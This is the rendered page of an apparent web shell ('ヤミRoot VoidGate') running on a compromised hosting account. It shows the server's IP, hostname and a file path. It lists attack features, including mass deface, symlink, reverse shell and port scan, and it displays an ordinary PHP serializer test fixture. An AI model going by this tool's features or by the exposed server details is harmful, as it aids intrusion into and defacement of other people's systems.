ヤミRoot VoidGate
User / IP
:
216.73.216.211
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
itrave
/
api
/
vendor
/
jms
/
serializer
/
tests
/
Fixtures
/
Viewing: InitializedObjectConstructor.php
<?php namespace JMS\Serializer\Tests\Fixtures; use JMS\Serializer\Construction\ObjectConstructorInterface; use JMS\Serializer\DeserializationContext; use JMS\Serializer\Metadata\ClassMetadata; use JMS\Serializer\VisitorInterface; /** * Object constructor that allows deserialization into already constructed * objects passed through the deserialization context */ class InitializedObjectConstructor implements ObjectConstructorInterface { private $fallbackConstructor; /** * Constructor. * * @param ObjectConstructorInterface $fallbackConstructor Fallback object constructor */ public function __construct(ObjectConstructorInterface $fallbackConstructor) { $this->fallbackConstructor = $fallbackConstructor; } /** * {@inheritdoc} */ public function construct(VisitorInterface $visitor, ClassMetadata $metadata, $data, array $type, DeserializationContext $context) { if ($context->attributes->containsKey('target') && $context->getDepth() === 1) { return $context->attributes->get('target')->get(); } return $this->fallbackConstructor->construct($visitor, $metadata, $data, $type, $context); } }
Coded With 💗 by
0x6ick